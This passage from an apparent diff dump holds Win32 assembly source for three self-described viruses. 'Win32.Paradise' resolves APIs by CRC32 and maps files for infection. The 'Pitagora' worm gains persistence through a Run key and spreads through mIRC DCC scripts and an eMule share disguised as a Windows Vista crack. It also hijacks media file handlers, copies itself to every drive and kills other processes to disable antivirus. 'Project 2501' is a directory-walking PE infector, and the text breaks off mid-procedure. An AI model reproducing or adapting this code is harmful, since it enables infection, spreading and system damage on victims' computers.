xor esi,esi ; Clear ESI
|
||||
xchg eax,esi ; ESI = Ptr 2 ordinal; EAX = 0
|
||||
lodsw ; Get ordinal in AX
|
||||
shl eax,2 ; And with it we go to the
|
||||
add eax,dword ptr [ebp+AddressTableVA] ; AddressTable (array of
|
||||
xchg esi,eax ; dwords)
|
||||
lodsd ; Get Address of API RVA
|
||||
add eax,[ebp+kernel] ; and normalize!! That's it!
|
||||
ret
|
||||
GetAPI_ET_CRC32 endp
|
||||
|
||||
; ??----?????? ?
|
||||
; : Paradise virus - Some useful subroutines :
|
||||
; ? ??????---???
|
||||
|
||||
Align proc
|
||||
push edx
|
||||
xor edx,edx
|
||||
push eax
|
||||
div ecx
|
||||
pop eax
|
||||
sub ecx,edx
|
||||
add eax,ecx
|
||||
pop edx
|
||||
ret
|
||||
Align endp
|
||||
|
||||
TruncFile proc
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push ecx
|
||||
push dword ptr [ebp+FileHandle]
|
||||
apicall _SetFilePointer
|
||||
|
||||
push dword ptr [ebp+FileHandle]
|
||||
apicall _SetEndOfFile
|
||||
ret
|
||||
TruncFile endp
|
||||
|
||||
OpenFile proc
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push 00000003h
|
||||
push eax
|
||||
inc eax
|
||||
push eax
|
||||
push 80000000h or 40000000h
|
||||
push esi
|
||||
apicall _CreateFileA
|
||||
ret
|
||||
OpenFile endp
|
||||
|
||||
CreateMap proc
|
||||
xor eax,eax
|
||||
push eax
|
||||
push ecx
|
||||
push eax
|
||||
push 00000004h
|
||||
push eax
|
||||
push dword ptr [ebp+FileHandle]
|
||||
apicall _CreateFileMappingA
|
||||
ret
|
||||
CreateMap endp
|
||||
|
||||
MapFile proc
|
||||
xor eax,eax
|
||||
push ecx
|
||||
push eax
|
||||
push eax
|
||||
push 00000002h
|
||||
push dword ptr [ebp+MapHandle]
|
||||
apicall _MapViewOfFile
|
||||
ret
|
||||
MapFile endp
|
||||
|
||||
CRC32 proc
|
||||
cld
|
||||
xor ecx,ecx ; Optimized by me - 2 bytes
|
||||
dec ecx ; less
|
||||
mov edx,ecx
|
||||
NextByteCRC:
|
||||
xor eax,eax
|
||||
xor ebx,ebx
|
||||
lodsb
|
||||
xor al,cl
|
||||
mov cl,ch
|
||||
mov ch,dl
|
||||
mov dl,dh
|
||||
mov dh,8
|
||||
NextBitCRC:
|
||||
shr bx,1
|
||||
rcr ax,1
|
||||
jnc NoCRC
|
||||
xor ax,08320h
|
||||
xor bx,0EDB8h
|
||||
NoCRC: dec dh
|
||||
jnz NextBitCRC
|
||||
xor ecx,eax
|
||||
xor edx,ebx
|
||||
dec edi ; Another fool byte less
|
||||
jnz NextByteCRC
|
||||
not edx
|
||||
not ecx
|
||||
mov eax,edx
|
||||
rol eax,16
|
||||
mov ax,cx
|
||||
ret
|
||||
CRC32 endp
|
||||
|
||||
payload proc
|
||||
lea eax,[ebp+SYSTEMTIME]
|
||||
push eax
|
||||
apicall _GetSystemTime
|
||||
|
||||
cmp word ptr [ebp+ST_wMonth],6 ; On the sixth month...
|
||||
jnz no_payload
|
||||
|
||||
cmp word ptr [ebp+ST_wDay],6 ; On the sixth day...
|
||||
jnz no_payload
|
||||
|
||||
lea eax,[ebp+szUSER32]
|
||||
push eax
|
||||
apicall _LoadLibraryA
|
||||
|
||||
call @?_1
|
||||
db "MessageBoxA",0
|
||||
@?_1: push eax
|
||||
apicall _GetProcAddress
|
||||
|
||||
push 00001000h
|
||||
lea ebx,[ebp+mark_]
|
||||
push ebx
|
||||
lea ebx,[ebp+song]
|
||||
push ebx
|
||||
push 00000000h
|
||||
call eax
|
||||
|
||||
no_payload:
|
||||
ret
|
||||
payload endp
|
||||
|
||||
; ??----?????? ?
|
||||
; : Paradise virus - Virus data :
|
||||
; ? ??????---???
|
||||
|
||||
mark_ db "[Win32.Paradise v1.00]",0
|
||||
|
||||
song db "Late at night i found myself again",10
|
||||
db "wondering and watching TV",10
|
||||
db "I can't believe what's on the screen",10
|
||||
db "something that i wouldn't like to see",10
|
||||
db "Many rare species will perish soon",10
|
||||
db "and we'll be short on food",10
|
||||
db "Why do we have to be so selfish",10
|
||||
db "we have to change our attitude",10
|
||||
db "I know that i am not",10
|
||||
db "the only one that's worried",10
|
||||
db "Why don't we all",10
|
||||
db "wake up, and and realize",10
|
||||
db "Like the birds in the sky",10
|
||||
db "we are flying so high",10
|
||||
db "without making anykind of sacrifice",10
|
||||
db "We've got so little time",10
|
||||
db "to undo this crime",10
|
||||
db "or we'll lose our paradise",10
|
||||
db "It seems to me that there's no sense at all",10
|
||||
db "nobody cares, it's always the same",10
|
||||
db "Mother nature's crying out in pain",10
|
||||
db "I know we are the ones to blame",10,10
|
||||
db "Paradise [ Stratovarius ]",0
|
||||
|
||||
db "Copyright (c) 1999 by Billy Belcebu/iKX",0
|
||||
|
||||
EXE_MASK db "*.EXE",0
|
||||
|
||||
szUSER32 db "USER32",0
|
||||
|
||||
@@NamezCRC32 label byte
|
||||
@FindFirstFileA dd 0AE17EBEFh
|
||||
@FindNextFileA dd 0AA700106h
|
||||
@FindClose dd 0C200BE21h
|
||||
@CreateFileA dd 08C892DDFh
|
||||
@DeleteFileA dd 0DE256FDEh
|
||||
@SetFilePointer dd 085859D42h
|
||||
@SetFileAttributesA dd 03C19E536h
|
||||
@CloseHandle dd 068624A9Dh
|
||||
@GetCurrentDirectoryA dd 0EBC6C18Bh
|
||||
@SetCurrentDirectoryA dd 0B2DBD7DCh
|
||||
@GetWindowsDirectoryA dd 0FE248274h
|
||||
@GetSystemDirectoryA dd 0593AE7CEh
|
||||
@CreateFileMappingA dd 096B2D96Ch
|
||||
@MapViewOfFile dd 0797B49ECh
|
||||
@UnmapViewOfFile dd 094524B42h
|
||||
@SetEndOfFile dd 059994ED6h
|
||||
@GetProcAddress dd 0FFC97C1Fh
|
||||
@LoadLibraryA dd 04134D1ADh
|
||||
@GetSystemTime dd 075B7EBE8h
|
||||
db 0BBh
|
||||
|
||||
align dword
|
||||
|
||||
virus_end label byte
|
||||
|
||||
heap_start label byte
|
||||
|
||||
kernel dd kernel_
|
||||
infections dd 00000000h
|
||||
NewSize dd 00000000h
|
||||
SearchHandle dd 00000000h
|
||||
FileHandle dd 00000000h
|
||||
MapHandle dd 00000000h
|
||||
MapAddress dd 00000000h
|
||||
AddressTableVA dd 00000000h
|
||||
NameTableVA dd 00000000h
|
||||
OrdinalTableVA dd 00000000h
|
||||
Counter dw 0000h
|
||||
|
||||
@@Offsetz label byte
|
||||
_FindFirstFileA dd 00000000h
|
||||
_FindNextFileA dd 00000000h
|
||||
_FindClose dd 00000000h
|
||||
_CreateFileA dd 00000000h
|
||||
_DeleteFileA dd 00000000h
|
||||
_SetFilePointer dd 00000000h
|
||||
_SetFileAttributesA dd 00000000h
|
||||
_CloseHandle dd 00000000h
|
||||
_GetCurrentDirectoryA dd 00000000h
|
||||
_SetCurrentDirectoryA dd 00000000h
|
||||
_GetWindowsDirectoryA dd 00000000h
|
||||
_GetSystemDirectoryA dd 00000000h
|
||||
_CreateFileMappingA dd 00000000h
|
||||
_MapViewOfFile dd 00000000h
|
||||
_UnmapViewOfFile dd 00000000h
|
||||
_SetEndOfFile dd 00000000h
|
||||
_GetProcAddress dd 00000000h
|
||||
_LoadLibraryA dd 00000000h
|
||||
_GetSystemTime dd 00000000h
|
||||
|
||||
MAX_PATH equ 260
|
||||
|
||||
FILETIME STRUC
|
||||
FT_dwLowDateTime dd ?
|
||||
FT_dwHighDateTime dd ?
|
||||
FILETIME ENDS
|
||||
|
||||
WIN32_FIND_DATA label byte
|
||||
WFD_dwFileAttributes dd ?
|
||||
WFD_ftCreationTime FILETIME ?
|
||||
WFD_ftLastAccessTime FILETIME ?
|
||||
WFD_ftLastWriteTime FILETIME ?
|
||||
WFD_nFileSizeHigh dd ?
|
||||
WFD_nFileSizeLow dd ?
|
||||
WFD_dwReserved0 dd ?
|
||||
WFD_dwReserved1 dd ?
|
||||
WFD_szFileName db MAX_PATH dup (?)
|
||||
WFD_szAlternateFileName db 13 dup (?)
|
||||
db 03 dup (?)
|
||||
|
||||
directories label byte
|
||||
|
||||
WindowsDir db 7Fh dup (00h)
|
||||
SystemDir db 7Fh dup (00h)
|
||||
OriginDir db 7Fh dup (00h)
|
||||
dirs2inf equ (($-directories)/7Fh)
|
||||
mirrormirror db dirs2inf
|
||||
|
||||
SYSTEMTIME label byte
|
||||
ST_wYear dw ?
|
||||
ST_wMonth dw ?
|
||||
ST_wDayOfWeek dw ?
|
||||
ST_wDay dw ?
|
||||
ST_wHour dw ?
|
||||
ST_wMinute dw ?
|
||||
ST_wSecond dw ?
|
||||
ST_wMilliseconds dw ?
|
||||
|
||||
heap_end label byte
|
||||
|
||||
fakehost:
|
||||
pop dword ptr fs:[0]
|
||||
pop eax
|
||||
popfd
|
||||
popad
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push offset szTitle
|
||||
push offset szMessage
|
||||
push eax
|
||||
call MessageBoxA
|
||||
|
||||
push 00000000h
|
||||
call ExitProcess
|
||||
|
||||
end Paradise
|
||||
|
||||
; Komandos de autodefensa animal!
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,490 @@
|
||||
;;; un piccolo worm in assembler ... (cazzuto ma non troppo :-))
|
||||
.586
|
||||
.model flat
|
||||
;;;; API NECESSARIE ! ;;;;
|
||||
extrn ExitProcess:PROC
|
||||
extrn ShellAboutA:PROC
|
||||
extrn CopyFileA:PROC
|
||||
extrn GetCommandLineA:PROC
|
||||
extrn lstrcpy:PROC
|
||||
extrn lstrlen:PROC
|
||||
extrn lstrcat:PROC
|
||||
extrn GetWindowsDirectoryA:PROC
|
||||
extrn GetSystemDirectoryA:PROC
|
||||
extrn RegOpenKeyA:PROC
|
||||
extrn RegSetValueExA:PROC
|
||||
extrn RegSetValueA:PROC
|
||||
extrn RegCloseKey:PROC
|
||||
extrn RegQueryValueExA:PROC
|
||||
extrn CreateFileA:PROC
|
||||
extrn CloseHandle:PROC
|
||||
extrn CreateThread:PROC
|
||||
extrn Sleep:PROC
|
||||
extrn WriteFile:PROC
|
||||
extrn CreateMutexA:PROC
|
||||
extrn GetLastError:PROC
|
||||
extrn CreateToolhelp32Snapshot:PROC
|
||||
extrn Process32First:PROC
|
||||
extrn Process32Next:PROC
|
||||
extrn GetCurrentProcessId:PROC
|
||||
extrn OpenProcess:PROC
|
||||
extrn TerminateProcess:PROC
|
||||
extrn lstrcmpi:PROC
|
||||
;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||
;;;; Costanti ;;;;
|
||||
MAX_PATH equ 260
|
||||
HKEY_LOCAL_MACHINE equ 80000002h
|
||||
HKEY_CURRENT_USER equ 80000001h
|
||||
REG_SZ equ 1
|
||||
OPEN_EXISTING equ 3
|
||||
CREATE_NEW equ 1
|
||||
CREATE_ALWAYS equ 2
|
||||
GENERIC_READ equ 80000000h
|
||||
GENERIC_WRITE equ 40000000h
|
||||
FILE_SHARE_READ equ 1
|
||||
FILE_SHARE_WRITE equ 2
|
||||
ERROR_ALREADY_EXISTS equ 183
|
||||
PROCESS_ALL_ACCESS equ 00000000h
|
||||
;;;;;;;;;;;;;;;;;;
|
||||
.data
|
||||
;;;; Variabili e MsgS ;;;;
|
||||
MyPath db 260 dup(?)
|
||||
WinPATH db 260 dup(?)
|
||||
SysPATH db 260 dup(?)
|
||||
WormName1 db "\sys.exe",0
|
||||
WormName2 db "\mon.exe",0
|
||||
StartUpKey db "Software\Microsoft\Windows\CurrentVersion\Run", 0
|
||||
CheckFile db "\Pitagora.teo",0
|
||||
CheckFilePath db 260 dup(?)
|
||||
KeyName db "SystemMonitor",0
|
||||
Msg db "You have been infected by Pitagora !!! by WarGame !!!!",0
|
||||
Titolo db "Is the war right ???? Think about this ...",0
|
||||
HKey dd 00000000h
|
||||
Tid dd 00000000h
|
||||
CopyName db "C:\AVG-Antivirus.exe",0
|
||||
MSG_Interno db "Anti Soviet and Anti American !!!",0
|
||||
Drive db 'C'
|
||||
MircPath db 260 dup(?)
|
||||
MircKey db "Software\Microsoft\Windows\CurrentVersion\Uninstall\mIRC",0
|
||||
MircKeyName db "UninstallString",0
|
||||
EmuleKey db "Software\eMule",0
|
||||
EmuleKeyName db "Install Path",0
|
||||
EmuleWorm db "\Incoming\WINDOWS_VISTA_CRACK.exe",0
|
||||
EmulePath db 260 dup (?)
|
||||
BufLen dd 260
|
||||
ScriptIni db "script.ini",0
|
||||
MIRCWORM db "[Script]",0dh,0ah ,"n0=on 1:join:#: { if ( $nick == $me ) halt",0dh,0ah ,"n1=else /dcc send $nick WINDOWS_VISTA_CRACK_CHANGE_MY_EXSTENSION_TO_EXE_TO_GO.txt",0
|
||||
MP3Key1 db "SOFTWARE\Classes\mp3file\shell\open\command",0
|
||||
MP3Key2 db "SOFTWARE\Classes\mp3file\shell\play\command",0
|
||||
MPEGKey1 db "SOFTWARE\Classes\mpegfile\shell\open\command",0
|
||||
MPEGKey2 db "SOFTWARE\Classes\mpegfile\shell\play\command",0
|
||||
FD dd 00000000h
|
||||
Scritti dd 00000000h
|
||||
OpenMe_Path db 260 dup(?)
|
||||
OpenMe db "WINDOWS_VISTA_CRACK_CHANGE_MY_EXSTENSION_TO_EXE_TO_GO.txt",0
|
||||
MUT db "WOOWOO",0
|
||||
MSGPayLoad db "!!!! AH...AH...this is for Pitagora ... I am Italian and you? !!!!",0
|
||||
;;;;;;;;;;;;;;;;;;;
|
||||
Snap dd 00000000h
|
||||
TH32CS_SNAPPROCESS EQU 00000002h
|
||||
PROCESS_TERMINATE equ 00000001h
|
||||
PROCESSENTRY32 struct
|
||||
dwSize DD 0
|
||||
cntUsage DD 0
|
||||
th32ProcessID DD 0
|
||||
th32DefaultHeapID DD 0
|
||||
th32ModuleID DD 0
|
||||
cntThreads DD 0
|
||||
th32ParentProcessID DD 0
|
||||
pcPriClassBase DD 0
|
||||
dwFlags DD 0
|
||||
szExeFile DB MAX_PATH DUP(0)
|
||||
PROCESSENTRY32 ends
|
||||
prentry PROCESSENTRY32 <>
|
||||
MyID dd 00000000h
|
||||
EX db "explorer.exe",0
|
||||
p_RET dd 00000000h
|
||||
;;;;;;;;;;;;;;;;;;;
|
||||
.code
|
||||
Pitagora:
|
||||
Sono_Solo:
|
||||
push offset MUT
|
||||
push 00000001h
|
||||
push 00000000h
|
||||
call CreateMutexA
|
||||
call GetLastError
|
||||
cmp eax,ERROR_ALREADY_EXISTS
|
||||
je Esci
|
||||
Ottieni_path:
|
||||
call GetCommandLineA
|
||||
push eax
|
||||
push offset MyPath
|
||||
call lstrcpy
|
||||
push offset MyPath
|
||||
call lstrlen
|
||||
xor ebx,ebx
|
||||
mov [MyPath+eax-2],bh
|
||||
push offset [MyPath+1]
|
||||
push offset MyPath
|
||||
call lstrcpy
|
||||
Ottieni_path_OS:
|
||||
push 260
|
||||
push offset WinPATH
|
||||
call GetWindowsDirectoryA
|
||||
push offset WinPATH
|
||||
push offset CheckFilePath
|
||||
call lstrcpy
|
||||
push 260
|
||||
push offset SysPATH
|
||||
call GetSystemDirectoryA
|
||||
Crea_Path_Worms:
|
||||
push offset WormName1
|
||||
push offset WinPATH
|
||||
call lstrcat
|
||||
push offset WormName2
|
||||
push offset SysPATH
|
||||
call lstrcat
|
||||
Anti_AntiVirus:
|
||||
call FuckAV ; ... termina i processi non graditi ...
|
||||
Controlla_Se_Infetto:
|
||||
push offset CheckFile
|
||||
push offset CheckFilePath
|
||||
call lstrcat
|
||||
push 00000000h
|
||||
push 00000000h
|
||||
push OPEN_EXISTING
|
||||
push 00000000h
|
||||
push FILE_SHARE_READ
|
||||
push GENERIC_READ
|
||||
push offset CheckFilePath
|
||||
call CreateFileA
|
||||
cmp eax,-1
|
||||
jne Worming
|
||||
push 00000000h
|
||||
push 00000000h
|
||||
push CREATE_NEW
|
||||
push 00000000h
|
||||
push FILE_SHARE_WRITE
|
||||
push GENERIC_WRITE
|
||||
push offset CheckFilePath
|
||||
call CreateFileA
|
||||
push eax
|
||||
call CloseHandle
|
||||
Copia_file:
|
||||
push 00000000h
|
||||
push offset WinPATH
|
||||
push offset MyPath
|
||||
call CopyFileA
|
||||
push 00000000h
|
||||
push offset SysPATH
|
||||
push offset MyPath
|
||||
call CopyFileA
|
||||
StartupAutomatico:
|
||||
push offset HKey
|
||||
push offset StartUpKey
|
||||
push HKEY_LOCAL_MACHINE
|
||||
call RegOpenKeyA
|
||||
cmp eax,0
|
||||
jne Esci
|
||||
push offset SysPATH
|
||||
call lstrlen
|
||||
mov ebx,1
|
||||
add eax,ebx
|
||||
push eax
|
||||
push offset SysPATH
|
||||
push REG_SZ
|
||||
push 00000000h
|
||||
push offset KeyName
|
||||
push HKey
|
||||
call RegSetValueExA
|
||||
push HKey
|
||||
call RegCloseKey
|
||||
Esci:
|
||||
push 00000000h
|
||||
push offset Msg
|
||||
push offset Titolo
|
||||
push 00000000h
|
||||
call ShellAboutA
|
||||
xor edx,edx
|
||||
push edx
|
||||
call ExitProcess
|
||||
Worming:
|
||||
push eax
|
||||
call CloseHandle
|
||||
INFETTA_MIRC:
|
||||
push offset HKey
|
||||
push offset MircKey
|
||||
push HKEY_LOCAL_MACHINE
|
||||
call RegOpenKeyA
|
||||
cmp eax,0
|
||||
jne INFETTA_EMULE
|
||||
push offset BufLen
|
||||
push offset MircPath
|
||||
push 00000000h
|
||||
push 00000000h
|
||||
push offset MircKeyName
|
||||
push HKey
|
||||
call RegQueryValueExA
|
||||
cmp eax,0
|
||||
jne INFETTA_EMULE
|
||||
push HKey
|
||||
call RegCloseKey
|
||||
push offset [MircPath+1]
|
||||
push offset [MircPath]
|
||||
call lstrcpy
|
||||
push offset MircPath
|
||||
xor ecx,ecx
|
||||
Fuck:
|
||||
cmp byte ptr[MircPath+ecx],'"'
|
||||
je OK
|
||||
inc ecx
|
||||
jmp Fuck
|
||||
OK:
|
||||
xor ebx,ebx
|
||||
mov [MircPath+ecx],bh
|
||||
xor ecx,ecx
|
||||
Fuck2:
|
||||
cmp byte ptr[MircPath+ecx],'.'
|
||||
je OK2
|
||||
inc ecx
|
||||
jmp Fuck2
|
||||
OK2:
|
||||
xor ebx,ebx
|
||||
mov [MircPath+ecx-4],bh
|
||||
push offset MircPath
|
||||
push offset OpenMe_Path
|
||||
call lstrcpy
|
||||
push offset OpenMe
|
||||
push offset OpenMe_Path
|
||||
call lstrcat
|
||||
push offset ScriptIni
|
||||
push offset MircPath
|
||||
call lstrcat
|
||||
push 00000000h
|
||||
push 00000000h
|
||||
push CREATE_ALWAYS
|
||||
push 00000000h
|
||||
push FILE_SHARE_WRITE
|
||||
push GENERIC_WRITE
|
||||
push offset MircPath
|
||||
call CreateFileA
|
||||
cmp eax,-1
|
||||
je INFETTA_EMULE
|
||||
mov FD,eax
|
||||
push 00000000h
|
||||
push offset Scritti
|
||||
push offset MIRCWORM
|
||||
call lstrlen
|
||||
push eax
|
||||
push offset MIRCWORM
|
||||
push FD
|
||||
call WriteFile
|
||||
push FD
|
||||
call CloseHandle
|
||||
push offset MircPath
|
||||
call lstrlen
|
||||
push offset [MircPath+eax-11]
|
||||
push offset MircPath
|
||||
call lstrcpy
|
||||
push 00000000h
|
||||
push offset OpenMe_Path
|
||||
push offset MyPath
|
||||
call CopyFileA
|
||||
INFETTA_EMULE:
|
||||
push offset HKey
|
||||
push offset EmuleKey
|
||||
push HKEY_CURRENT_USER
|
||||
call RegOpenKeyA
|
||||
cmp eax,0
|
||||
jne MP3_FUCKING
|
||||
push offset BufLen
|
||||
push offset EmulePath
|
||||
push 00000000h
|
||||
push 00000000h
|
||||
push offset EmuleKeyName
|
||||
push HKey
|
||||
call RegQueryValueExA
|
||||
cmp eax,0
|
||||
jne MP3_FUCKING
|
||||
push offset EmuleWorm
|
||||
push offset EmulePath
|
||||
call lstrcat
|
||||
push 00000000h
|
||||
push offset EmulePath
|
||||
push offset MyPath
|
||||
call CopyFileA
|
||||
MP3_FUCKING:
|
||||
push offset HKey
|
||||
push offset MP3Key1
|
||||
push HKEY_LOCAL_MACHINE
|
||||
call RegOpenKeyA
|
||||
cmp eax,0
|
||||
jne MPEG_FUCKING
|
||||
push offset WinPATH
|
||||
call lstrlen
|
||||
push eax
|
||||
push offset WinPATH
|
||||
push REG_SZ
|
||||
push 00000000h
|
||||
push HKey
|
||||
call RegSetValueA
|
||||
push HKey
|
||||
call RegCloseKey
|
||||
push offset HKey
|
||||
push offset MP3Key2
|
||||
push HKEY_LOCAL_MACHINE
|
||||
call RegOpenKeyA
|
||||
cmp eax,0
|
||||
jne MPEG_FUCKING
|
||||
push offset WinPATH
|
||||
call lstrlen
|
||||
push eax
|
||||
push offset WinPATH
|
||||
push REG_SZ
|
||||
push 00000000h
|
||||
push HKey
|
||||
call RegSetValueA
|
||||
push HKey
|
||||
call RegCloseKey
|
||||
MPEG_FUCKING:
|
||||
push offset HKey
|
||||
push offset MPEGKey1
|
||||
push HKEY_LOCAL_MACHINE
|
||||
call RegOpenKeyA
|
||||
cmp eax,0
|
||||
jne Vai
|
||||
push offset WinPATH
|
||||
call lstrlen
|
||||
push eax
|
||||
push offset WinPATH
|
||||
push REG_SZ
|
||||
push 00000000h
|
||||
push HKey
|
||||
call RegSetValueA
|
||||
push HKey
|
||||
call RegCloseKey
|
||||
push offset HKey
|
||||
push offset MPEGKey2
|
||||
push HKEY_LOCAL_MACHINE
|
||||
call RegOpenKeyA
|
||||
cmp eax,0
|
||||
jne Vai
|
||||
push offset WinPATH
|
||||
call lstrlen
|
||||
push eax
|
||||
push offset WinPATH
|
||||
push REG_SZ
|
||||
push 00000000h
|
||||
push HKey
|
||||
call RegSetValueA
|
||||
push HKey
|
||||
call RegCloseKey
|
||||
Vai:
|
||||
push offset Tid
|
||||
push 00000000h
|
||||
push 00000000h
|
||||
push offset Copiati
|
||||
push 00000000h
|
||||
push 00000000h
|
||||
call CreateThread
|
||||
push offset Tid
|
||||
push 00000000h
|
||||
push 00000000h
|
||||
push offset PayLoad
|
||||
push 00000000h
|
||||
push 00000000h
|
||||
call CreateThread
|
||||
Dormi:
|
||||
push 186a0h
|
||||
call Sleep
|
||||
xor ecx,ecx
|
||||
cmp ecx,0
|
||||
je Dormi
|
||||
;;;; Thread di autocopia ;;;;
|
||||
Copiati PROC
|
||||
Copia:
|
||||
mov ch,'C'
|
||||
mov Drive,ch
|
||||
mov [CopyName+0],ch
|
||||
xor ebx,ebx
|
||||
Tutti_I_drives:
|
||||
push 00000000h
|
||||
push offset CopyName
|
||||
push offset MyPath
|
||||
call CopyFileA
|
||||
push 4e20h
|
||||
call Sleep
|
||||
add Drive,1
|
||||
mov ch,Drive
|
||||
mov [CopyName+0],ch
|
||||
cmp ch,'Z'+1
|
||||
jne Tutti_I_drives
|
||||
cmp ebx,0
|
||||
je Copia
|
||||
Copiati ENDP
|
||||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||
;;;; PayLoad ;;;;
|
||||
PayLoad PROC
|
||||
Loop:
|
||||
xor ecx,ecx
|
||||
push 1200000
|
||||
call Sleep
|
||||
push 00000000h
|
||||
push offset MSGPayLoad
|
||||
push offset Titolo
|
||||
push 00000000h
|
||||
call ShellAboutA
|
||||
cmp ecx,0
|
||||
je Loop
|
||||
PayLoad ENDP
|
||||
;;;;;;;;;;;;;;;;;
|
||||
FuckAV PROC
|
||||
My_ID:
|
||||
call GetCurrentProcessId
|
||||
mov MyID,eax
|
||||
Inializza:
|
||||
push 00000000h
|
||||
push TH32CS_SNAPPROCESS
|
||||
call CreateToolhelp32Snapshot
|
||||
cmp eax,-1
|
||||
je Ritorna
|
||||
mov Snap,eax
|
||||
Primo:
|
||||
push offset prentry
|
||||
push Snap
|
||||
mov prentry.dwSize,296
|
||||
call Process32First
|
||||
cmp eax,0
|
||||
je Ritorna
|
||||
Altri:
|
||||
push offset prentry
|
||||
push Snap
|
||||
mov prentry.dwSize,296
|
||||
call Process32Next
|
||||
mov p_RET,eax
|
||||
Controlla_se_explorer:
|
||||
push offset prentry.szExeFile
|
||||
push offset EX
|
||||
call lstrcmpi
|
||||
cmp eax,0
|
||||
je Ancora
|
||||
Controlla_id:
|
||||
mov edx,MyID
|
||||
cmp edx,prentry.th32ProcessID
|
||||
je Ancora
|
||||
Termina:
|
||||
push dword ptr[prentry.th32ProcessID]
|
||||
push 00000000h
|
||||
push PROCESS_TERMINATE
|
||||
call OpenProcess
|
||||
push 00000000h
|
||||
push eax
|
||||
call TerminateProcess
|
||||
Ancora:
|
||||
cmp p_RET,0
|
||||
jne Altri
|
||||
Ritorna:
|
||||
ret
|
||||
FuckAV ENDP
|
||||
;;;;;;;;;;;;;;;;;
|
||||
end Pitagora
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,578 @@
|
||||
comment *
|
||||
|
||||
Name: Project 2501
|
||||
OS: Win32
|
||||
Coder Belial
|
||||
|
||||
Heya ,
|
||||
this is my first Pe-infector.Wow ,a great feeling
|
||||
to have finished it.
|
||||
Credits go out to Lord Julus and BillyBelcebub ,because
|
||||
of their win32 tuturials.Without them ,i would never
|
||||
have finished this creation.It took me nearly a year to of reading
|
||||
to understand all the important aspects of Win32-Assembly.
|
||||
Greetings go out Wallo ,Raven and the whole Virus-channel on undernet.
|
||||
Also greetings to BillyBoy from Micro$oft.Thanx for your
|
||||
nice viriiparadise-OS.But not soooooo much bugs in future ,ok?
|
||||
|
||||
I tested this virus only under Win98 ,so I dont know
|
||||
wether it works under WinME ,WinNT or Win95.But Im sure somebody will try
|
||||
it out.
|
||||
The Virus is a runtime exe infector.It infects all files
|
||||
in current dir and all his subdirectories.After this ,it makes
|
||||
one dotdot and infects new files and subdirs until it is
|
||||
in c:\ or five dotdots are done.The only payload my virus has
|
||||
is a directory on the desktop named "Project2501".It is
|
||||
created each run.Im thinking of putting a txtfile
|
||||
in this directory ,but I have no real motivation
|
||||
at the moment.A bedder payload is in progress.And
|
||||
a nice encryption ,I hope.If you think this virus
|
||||
may be a bit incomplete (no encryption and no kewl
|
||||
payload) than i have to say:
|
||||
With releasing this source i release a loaded
|
||||
gun.In the wrong hands ,it could be awful for some
|
||||
harmless user.So if I release guns I dont want to release
|
||||
"full-automatic-guns" .Thats for now
|
||||
|
||||
|
||||
BeLiAL
|
||||
|
||||
*
|
||||
|
||||
.586
|
||||
.model flat
|
||||
|
||||
.data
|
||||
|
||||
db 0
|
||||
db 'This is the first generation of project2501'
|
||||
|
||||
.code
|
||||
|
||||
start:
|
||||
call delta_setup
|
||||
|
||||
delta_setup:
|
||||
pop ebp
|
||||
sub ebp,offset delta_setup
|
||||
|
||||
get_those_apis:
|
||||
mov eax,dword ptr [esp]
|
||||
and eax,0ffff0000h
|
||||
mov ecx,0
|
||||
call find_mz_and_pe
|
||||
call find_all_apis
|
||||
|
||||
Infection_part:
|
||||
mov byte ptr [ebp+dir_counter],0
|
||||
mov byte ptr [ebp+am_i_up],0
|
||||
mov eax,dword ptr [ebp+image_base]
|
||||
mov dword ptr [ebp+image_base2],eax
|
||||
mov eax,dword ptr [ebp+old_entry_point]
|
||||
mov dword ptr [ebp+old_entry_point2],eax
|
||||
call seek_and_destroy
|
||||
|
||||
payload_part:
|
||||
call payload
|
||||
|
||||
reanimation_part:
|
||||
cmp ebp,0
|
||||
je exit_here
|
||||
mov eax,dword ptr [ebp+image_base2]
|
||||
add eax,dword ptr [ebp+old_entry_point2]
|
||||
jmp eax
|
||||
|
||||
exit_here:
|
||||
push 0
|
||||
call [ebp+ExitProcess]
|
||||
|
||||
find_mz_and_pe proc
|
||||
add ecx,1
|
||||
cmp ecx,11
|
||||
je mz_not_found
|
||||
mov bx,word ptr [eax]
|
||||
cmp bx,'ZM'
|
||||
je find_the_pe
|
||||
sub eax,010000h
|
||||
jmp find_mz_and_pe
|
||||
find_the_pe:
|
||||
mov esi,eax
|
||||
mov ebx,dword ptr [eax+3ch]
|
||||
add eax,ebx
|
||||
mov bx,word ptr [eax]
|
||||
cmp bx,'EP'
|
||||
jne mz_not_found
|
||||
mov dword ptr [ebp+kernelbase],esi
|
||||
mov dword ptr [ebp+kernelpeheader],eax
|
||||
ret
|
||||
mz_not_found:
|
||||
jmp reanimation_part
|
||||
|
||||
find_mz_and_pe endp
|
||||
|
||||
find_apis proc
|
||||
pop esi
|
||||
pop eax
|
||||
mov dword ptr [ebp+apinameoffset],eax
|
||||
pop eax
|
||||
mov dword ptr [ebp+apilenght],eax
|
||||
pop eax
|
||||
mov dword ptr [ebp+putitthere],eax
|
||||
push esi
|
||||
mov eax,dword ptr [ebp+kernelpeheader]
|
||||
mov esi,dword ptr [eax+78h]
|
||||
add esi,dword ptr [ebp+kernelbase]
|
||||
add esi,1ch
|
||||
mov eax,dword ptr [esi]
|
||||
add eax,dword ptr [ebp+kernelbase]
|
||||
mov dword ptr [ebp+adress_table_VA],eax
|
||||
add esi,4
|
||||
mov eax,dword ptr [esi]
|
||||
add eax,dword ptr [ebp+kernelbase]
|
||||
mov dword ptr [ebp+name_table_VA],eax
|
||||
add esi,4
|
||||
mov eax,dword ptr [esi]
|
||||
add eax,dword ptr [ebp+kernelbase]
|
||||
mov dword ptr [ebp+ordinal_table_VA],eax
|
||||
mov esi,dword ptr [ebp+name_table_VA]
|
||||
mov dword ptr [ebp+apicounter],00000000h
|
||||
find_the_name:
|
||||
push esi
|
||||
mov eax,dword ptr [esi]
|
||||
add eax,dword ptr [ebp+kernelbase]
|
||||
mov esi,eax
|
||||
mov edi,dword ptr [ebp+apinameoffset]
